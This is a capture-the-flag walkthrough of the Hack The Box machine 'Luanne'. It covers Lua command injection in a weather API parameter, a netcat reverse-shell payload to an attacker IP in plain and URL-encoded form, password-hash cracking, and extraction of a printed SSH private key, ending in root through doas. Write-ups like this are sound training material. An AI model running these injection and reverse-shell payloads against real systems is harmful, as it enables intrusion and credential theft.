--- search: exclude: true --- # Luanne Writeup ![](img/54.png) ## Introduction : Luanne is an Easy NetBSD box released back in November 2020. ## **Part 1 : Initial Enumeration** As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. [ 10.0.0.10/16 ] [ /dev/pts/3 ] [~/HTB] → nmap -vvv -p- 10.10.10.218 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered Discovered open port 80/tcp on 10.10.10.218 Discovered open port 22/tcp on 10.10.10.218 Discovered open port 9001/tcp on 10.10.10.218 [ 10.0.0.10/16 ] [ /dev/pts/3 ] [~/HTB] → nmap -sCV -p80,22,9001 10.10.10.218 Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-06 08:52 CEST Nmap scan report for 10.10.10.218 Host is up (0.027s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0) | ssh-hostkey: | 3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA) | 521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA) |_ 256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519) 80/tcp open http nginx 1.19.0 | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=. | http-robots.txt: 1 disallowed entry |_/weather |_http-server-header: nginx/1.19.0 |_http-title: 401 Unauthorized 9001/tcp open http Medusa httpd 1.12 (Supervisor process manager) | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=default |_http-server-header: Medusa/1.12 |_http-title: Error response Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 187.07 seconds ## **Part 2 : Getting User Access** Our nmap scan picked up port 80 so let's investigate it: ![](prg/54_001.png) ![](prg/54_002.png) Here we don't have access yet, but we are hinted towards a certain local port 3000 that our nmap scan didn't pick up earlier. Now let's take a look at the Medusa service on port 9001: ![](prg/54_003.png) Now on the medusa service, we also have some basic auth with a different 401 response page. Not much here either, so let's move back to the port 80, on http-robots.txt there was the **./weather** directory disallowed entry, so let's run gobuster on it: [ 10.0.0.10/16 ] [ /dev/pts/3 ] [~/HTB] → gobuster dir -u http://10.10.10.218/weather/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.10.218/weather/ [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/06/06 09:11:55 Starting gobuster in directory enumeration mode =============================================================== /forecast (Status: 200) [Size: 90] And here we get the **/weather/forecast/** page so let's investigate it: ![](prg/54_004.png) Here we see that we should have specified a city, so let's send intercept request into burpsuite and test if there are any injections we can do: ![](prg/54_005.png) ![](prg/54_006.png) Let's list the cities as advised: ![](prg/54_007.png) ![](prg/54_008.png) So we are able to get the weather data of any city. But we don't know yet if the city input is sanitized, so let's try to escape it to cause an error: ![](prg/54_009.png) And now we have more info! We managed to pickup the fact that this is a .lua file located in **/usr/local/webapi/weather.lua** , now let's try to poke at it further to see if we have any command execution, to do so we need to comment out the rest of the line using **\--** ![](prg/54_010.png) Now from here let's try to inject other commands after the **;** ![](prg/54_011.png) Now we have been able to inject another command! However let's go further and attempt to use system commands: ![](prg/54_012.png) And that's it! We have access to system commands, so let's spawn a reverse shell with it now: #our first RCE GET /weather/forecast?city=London');print("\nnihilist777\n");os.execute("id")-- HTTP/1.1 #RCE with reverse shell payload GET /weather/forecast?city=London');os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.13 9002 >/tmp/f")-- HTTP/1.1 #URL encoded reverse shell payload (just select it in burpsuite, and hit CTRL+U to URL-Encode) GET /weather/forecast?city=London')%3bos.execute("rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.13+9002+>/tmp/f")-- HTTP/1.1 #prepare to catch the reverse shell with nc: [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Luanne] → nc -lvnp 9002 listening on [any] 9002 ... ` ![](prg/54_013.png) And we get a reverse shell connection! [ 10.10.14.13/23 ] [ /dev/pts/27 ] [~/HTB/Luanne] → nc -lvnp 9002 listening on [any] 9002 ... connect to [10.10.14.13] from (UNKNOWN) [10.10.10.218] 65436 sh: can't access tty; job control turned off $ id uid=24(_httpd) gid=24(_httpd) groups=24(_httpd) $ ls -lash total 1.5K 2.0K drwxr-xr-x 2 root wheel 512B Nov 25 2020 . 2.0K drwxr-xr-x 24 root wheel 512B Nov 24 2020 .. 2.0K -rw-r--r-- 1 root wheel 47B Sep 16 2020 .htpasswd 2.0K -rw-r--r-- 1 root wheel 386B Sep 17 2020 index.html 2.0K -rw-r--r-- 1 root wheel 78B Nov 25 2020 robots.txt Running a simple ls shows us that there's a **.htpasswd** file, so let's get it: $ cat .htpasswd webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0 Let's crack the hash using john locally: [ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne] → vim htpasswd.hash [ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne] → hash-identifier ######################################################################### # __ __ __ ______ _____ # # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ # # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ # # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ # # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ # # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ # # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 # # By Zion3R # # www.Blackploit.com # # Root@Blackploit.com # ######################################################################### -------------------------------------------------- HASH: $1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0 Possible Hashs: [+] MD5(Unix) -------------------------------------------------- HASH: ^C Bye! [ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne] → cat htpasswd.hash $1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0 [ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne] → john htpasswd.hash -w=/usr/share/wordlists/rockyou.txt Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status **iamthebest (?)** 1g 0:00:00:00 DONE (2021-06-06 10:40) 12.50g/s 38400p/s 38400c/s 38400C/s my3kids..ANTHONY Use the "--show" option to display all of the cracked passwords reliably Session completed And there we go we managed to get the **webapi_user** password **iamthebest** so let's login: ![](prg/54_014.png) ![](prg/54_015.png) Although that's too bad, the webapi_user isn't of much use yet. Back on our reverse shell, let's enumerate the box with linpeas.sh $ wget -V sh: wget: not found $ curl -V curl 7.71.0 (x86_64--netbsd) libcurl/7.71.0 OpenSSL/1.1.1d zlib/1.2.10 libidn2/2.3.0 nghttp2/1.41.0 Release-Date: 2020-06-24 Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp Features: AsynchDNS GSS-API HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM NTLM_WB SPNEGO SSL TLS-SRP UnixSockets We're going to use curl to get **linpeas.sh** onto the box: [term1] [ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne] → cp /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh . [ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne] → python3 -m http.server 9090 Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... [term2] $ curl http://10.10.14.13:9090/linpeas.sh > /tmp/peas.sh % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 333k 100 333k 0 0 856k 0 --:--:-- --:--:-- --:--:-- 853k $ chmod +x /tmp/peas.sh $ /tmp/peas.sh Also note how it cannot display the colored linpeas logo because we're not inside of bash: ![](prg/54_016.png) As you scroll through the linpeas output you see the following hint that we need to privesc to the r.micahels user: ![](prg/54_017.png) $ ps auxw | grep http _httpd 97 0.0 0.0 35256 2328 ? I 8:30AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/ r.michaels 185 0.0 0.0 34996 1988 ? Is 6:50AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home Since this is a localhost service running on port 3001, we're going to use curl from the box: $ curl http://127.0.0.1:3001 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 199 100 199 0 0 99500 0 --:--:-- --:--:-- --:--:-- 99500 # 401 Unauthorized /: No authorization * * * [127.0.0.1:3001](//127.0.0.1:3001/) Since we get a 401 Unauthorized error, let's pass the credentials we found earlier as arguements: $ curl http://127.0.0.1:3001/ --user webapi_user:iamthebest % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 386 100 386 0 0 77200 0 --:--:-- --:--:-- --:--:-- 77200 ### Weather Forecast API #### List available cities: [/weather/forecast?city=list](/weather/forecast?city=list) #### Five day forecast (London) [/weather/forecast?city=London](/weather/forecast?city=London) * * * And here we see that the credentials worked ! Now let's try to get the **r.michael** user's private SSH key: $ curl http://127.0.0.1:3001/~r.michaels/id_rsa --user webapi_user:iamthebest % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2610 100 2610 0 0 637k 0 --:--:-- --:--:-- --:--:-- 637k -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAvXxJBbm4VKcT2HABKV2Kzh9GcatzEJRyvv4AAalt349ncfDkMfFB Icxo9PpLUYzecwdU3LqJlzjFga3kG7VdSEWm+C1fiI4LRwv/iRKyPPvFGTVWvxDXFTKWXh 0DpaB9XVjggYHMr0dbYcSF2V5GMfIyxHQ8vGAE+QeW9I0Z2nl54ar/I/j7c87SY59uRnHQ kzRXevtPSUXxytfuHYr1Ie1YpGpdKqYrYjevaQR5CAFdXPobMSxpNxFnPyyTFhAbzQuchD ryXEuMkQOxsqeavnzonomJSuJMIh4ym7NkfQ3eKaPdwbwpiLMZoNReUkBqvsvSBpANVuyK BNUj4JWjBpo85lrGqB+NG2MuySTtfS8lXwDvNtk/DB3ZSg5OFoL0LKZeCeaE6vXQR5h9t8 3CEdSO8yVrcYMPlzVRBcHp00DdLk4cCtqj+diZmR8MrXokSR8y5XqD3/IdH5+zj1BTHZXE pXXqVFFB7Jae+LtuZ3XTESrVnpvBY48YRkQXAmMVAAAFkBjYH6gY2B+oAAAAB3NzaC1yc2 EAAAGBAL18SQW5uFSnE9hwASldis4fRnGrcxCUcr7+AAGpbd+PZ3Hw5DHxQSHMaPT6S1GM 3nMHVNy6iZc4xYGt5Bu1XUhFpvgtX4iOC0cL/4kSsjz7xRk1Vr8Q1xUyll4dA6WgfV1Y4I GBzK9HW2HEhdleRjHyMsR0PLxgBPkHlvSNGdp5eeGq/yP4+3PO0mOfbkZx0JM0V3r7T0lF 8crX7h2K9SHtWKRqXSqmK2I3r2kEeQgBXVz6GzEsaTcRZz8skxYQG80LnIQ68lxLjJEDsb Knmr586J6JiUriTCIeMpuzZH0N3imj3cG8KYizGaDUXlJAar7L0gaQDVbsigTVI+CVowaa POZaxqgfjRtjLskk7X0vJV8A7zbZPwwd2UoOThaC9CymXgnmhOr10EeYfbfNwhHUjvMla3 GDD5c1UQXB6dNA3S5OHArao/nYmZkfDK16JEkfMuV6g9/yHR+fs49QUx2VxKV16lRRQeyW nvi7bmd10xEq1Z6bwWOPGEZEFwJjFQAAAAMBAAEAAAGAStrodgySV07RtjU5IEBF73vHdm xGvowGcJEjK4TlVOXv9cE2RMyL8HAyHmUqkALYdhS1X6WJaWYSEFLDxHZ3bW+msHAsR2Pl 7KE+x8XNB+5mRLkflcdvUH51jKRlpm6qV9AekMrYM347CXp7bg2iKWUGzTkmLTy5ei+XYP DE/9vxXEcTGADqRSu1TYnUJJwdy6lnzbut7MJm7L004hLdGBQNapZiS9DtXpWlBBWyQolX er2LNHfY8No9MWXIjXS6+MATUH27TttEgQY3LVztY0TRXeHgmC1fdt0yhW2eV/Wx+oVG6n NdBeFEuz/BBQkgVE7Fk9gYKGj+woMKzO+L8eDll0QFi+GNtugXN4FiduwI1w1DPp+W6+su o624DqUT47mcbxulMkA+XCXMOIEFvdfUfmkCs/ej64m7OsRaIs8Xzv2mb3ER2ZBDXe19i8 Pm/+ofP8HaHlCnc9jEDfzDN83HX9CjZFYQ4n1KwOrvZbPM1+Y5No3yKq+tKdzUsiwZAAAA wFXoX8cQH66j83Tup9oYNSzXw7Ft8TgxKtKk76lAYcbITP/wQhjnZcfUXn0WDQKCbVnOp6 LmyabN2lPPD3zRtRj5O/sLee68xZHr09I/Uiwj+mvBHzVe3bvLL0zMLBxCKd0J++i3FwOv +ztOM/3WmmlsERG2GOcFPxz0L2uVFve8PtNpJvy3MxaYl/zwZKkvIXtqu+WXXpFxXOP9qc f2jJom8mmRLvGFOe0akCBV2NCGq/nJ4bn0B9vuexwEpxax4QAAAMEA44eCmj/6raALAYcO D1UZwPTuJHZ/89jaET6At6biCmfaBqYuhbvDYUa9C3LfWsq+07/S7khHSPXoJD0DjXAIZk N+59o58CG82wvGl2RnwIpIOIFPoQyim/T0q0FN6CIFe6csJg8RDdvq2NaD6k6vKSk6rRgo IH3BXK8fc7hLQw58o5kwdFakClbs/q9+Uc7lnDBmo33ytQ9pqNVuu6nxZqI2lG88QvWjPg nUtRpvXwMi0/QMLzzoC6TJwzAn39GXAAAAwQDVMhwBL97HThxI60inI1SrowaSpMLMbWqq 189zIG0dHfVDVQBCXd2Rng15eN5WnsW2LL8iHL25T5K2yi+hsZHU6jJ0CNuB1X6ITuHhQg QLAuGW2EaxejWHYC5gTh7jwK6wOwQArJhU48h6DFl+5PUO8KQCDBC9WaGm3EVXbPwXlzp9 9OGmTT9AggBQJhLiXlkoSMReS36EYkxEncYdWM7zmC2kkxPTSVWz94I87YvApj0vepuB7b 45bBkP5xOhrjMAAAAVci5taWNoYWVsc0BsdWFubmUuaHRiAQIDBAUG -----END OPENSSH PRIVATE KEY----- And there you go ! now let's login as the r.michaels user via ssh: [ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne] → vim id_rsa [ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne] → file id_rsa id_rsa: OpenSSH private key [ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne] → chmod 600 id_rsa [ 10.10.14.13/23 ] [ /dev/pts/25 ] [~/HTB/Luanne] → ssh r.michaels@10.10.10.218 -i id_rsa The authenticity of host '10.10.10.218 (10.10.10.218)' can't be established. ECDSA key fingerprint is SHA256:KB1gw0t+80YeM3PEDp7AjlTqJUN+gdyWKXoCrXn7AZo. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.218' (ECDSA) to the list of known hosts. Last login: Fri Sep 18 07:06:51 2020 NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020 Welcome to NetBSD! luanne$ id uid=1000(r.michaels) gid=100(users) groups=100(users) luanne$ ls backups devel public_html user.txt luanne$ cat user.txt eaXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX And there you go! We managed to login as the r.michaels user and print out the user flag. ## **Part 3 : Getting Root Access** Now that's done, let's run linpeas again as the r.michaels user: luanne$ curl http://10.10.14.13:9090/linpeas.sh > /tmp/peas.sh % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 333k 100 333k 0 0 899k 0 --:--:-- --:--:-- --:--:-- 899k luanne$ chmod +x /tmp/peas.sh luanne$ /tmp/peas.sh Now as we scroll through the output, we see the following backup file: ![](prg/54_019.png) Here we have doas, an alternative to the sudo command, scrolling further we see an encrypted backup file: ![](prg/54_018.png) Since this is a NetBSD box, we can decrypt it with **netpgp** : luanne$ ls backups devel public_html user.txt luanne$ cd backups/ luanne$ ls -l total 4 -r-------- 1 r.michaels users 1970 Nov 24 2020 **devel_backup-2020-09-16.tar.gz.enc** luanne$ **netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc --output=/tmp/backup.tar.gz** signature 2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14 Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a uid RSA 2048-bit key <****r.michaels@localhost> luanne$ cd /tmp luanne$ tar -xvf backup.tar.gz x devel-2020-09-16/ x devel-2020-09-16/www/ x devel-2020-09-16/webapi/ x devel-2020-09-16/webapi/weather.lua x devel-2020-09-16/www/index.md x devel-2020-09-16/www/.htpasswd luanne$ cat devel-2020-09-16/www/.htpasswd webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu. Once the backup is extracted, we see that we get another password hash for the webapi_user so let's crack it with john just like the previous one: [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Luanne] → hash-identifier ######################################################################### # __ __ __ ______ _____ # # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ # # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ # # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ # # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ # # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ # # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 # # By Zion3R # # www.Blackploit.com # # Root@Blackploit.com # ######################################################################### -------------------------------------------------- HASH: $1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu Not Found. -------------------------------------------------- HASH: $1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu. Possible Hashs: [+] MD5(Unix) -------------------------------------------------- Make sure you include the **.** at the end, it is actually part of the hash: [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Luanne] → cat hash2 $1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu. [ 10.10.14.13/23 ] [ /dev/pts/3 ] [~/HTB/Luanne] → john -w=/usr/share/wordlists/rockyou.txt hash2 Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status **littlebear (?)** 1g 0:00:00:00 DONE (2021-06-06 11:18) 11.11g/s 145066p/s 145066c/s 145066C/s jayar..hello11 Use the "--show" option to display all of the cracked passwords reliably Session completed And there we go! We managed to get the second webapi_user password, let's test if we can privesc to the root user with the doas binary we found earlier: luanne$ doas su Password: # id uid=0(root) gid=0(wheel) groups=0(wheel),2(kmem),3(sys),4(tty),5(operator),20(staff),31(guest),34(nvmm) # cat /root/root.txt 7aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX And that's it! We managed to privesc to the root user and print out the root flag. ## **Conclusion** Here we can see the progress graph : ![](img/54_graph.png)